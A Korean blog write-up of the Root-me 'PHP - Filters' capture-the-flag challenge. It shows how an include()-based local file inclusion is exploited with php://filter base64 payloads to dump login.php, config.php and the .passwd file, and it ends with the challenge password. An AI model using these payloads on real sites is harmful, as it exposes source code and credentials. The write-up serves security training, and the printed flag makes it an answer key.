ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • <Root-me> PHP - Filters
    Wargame/Root-me = Web - Server 2022. 1. 13. 02:57

    PHP - Filters

    파일을 보기 위해서는 로그인하라고 한다.

     

    login을 누르면

    로그인 폼이 뜬다.

    하지만 로그인에 대한 정보나 힌트를 찾을 수 없다.

     

    URL을 보면 각 페이지를 요청하기 위해 GET Method를 사용하는 것을 알 수 있다.

    inc의 값으로 상위 경로를 뜻하는 ../을 입력해보면

    경고를 출력하는데, include()로 보아 LFI 취약점 공격을 생각할 수 있다.

     

    PHP Wrapper를 통해 소스 코드를 볼 수 있다.

    가장 많이 사용되는 방법인 php://filter를 사용하여 로그인 페이지의 소스 코드를 찾아보기 위해

    ?inc=php://filter/convert.base64-encode/resource=login.php를 입력하면

    긴 문자열 하나가 출력된다.

    이 문자열은 base64 인코딩된 값이기에 base64 디코딩해보면

    <?php
    include("config.php");
    
    if ( isset($_POST["username"]) && isset($_POST["password"]) ){
        if ($_POST["username"]==$username && $_POST["password"]==$password){
          print("<h2>Welcome back !</h2>");
          print("To validate the challenge use this password<br/><br/>");
        } else {
          print("<h3>Error : no such user/password</h2><br />");
        }
    } else {
    ?>
    
    <form action="" method="post">
      Login&nbsp;<br/>
      <input type="text" name="username" /><br/><br/>
      Password&nbsp;<br/>
      <input type="password" name="password" /><br/><br/>
      <br/><br/>
      <input type="submit" value="connect" /><br/><br/>
    </form>
    
    <?php } ?>

    위와 같은 php 코드가 나온다.

     

    POST로 받은 username과 password가 변수 username과 password와 같으면 된다.

    config.php 파일에 변수 username과 password에 대한 설정 값이 포함되있는 것 같다.

     

    문제 페이지에서

    ?inc=php://filter/convert.base64-encode/resource=config.php를 입력하면

    이 문자열을 base64 디코딩해보면

    <?php
    
    $username="admin";
    $password="".file_get_contents(".passwd")."";
    
    ?>

    비밀번호는 .passwd 파일을 문자열로 읽어온다.

     

    ?inc=php://filter/convert.base64-encode/resource=.passwd를 입력하면

    이것도 base64 디코딩해보면

    DAPt9D2mky0APAF

    비밀번호를 획득할 수 있다.

Designed by Tistory.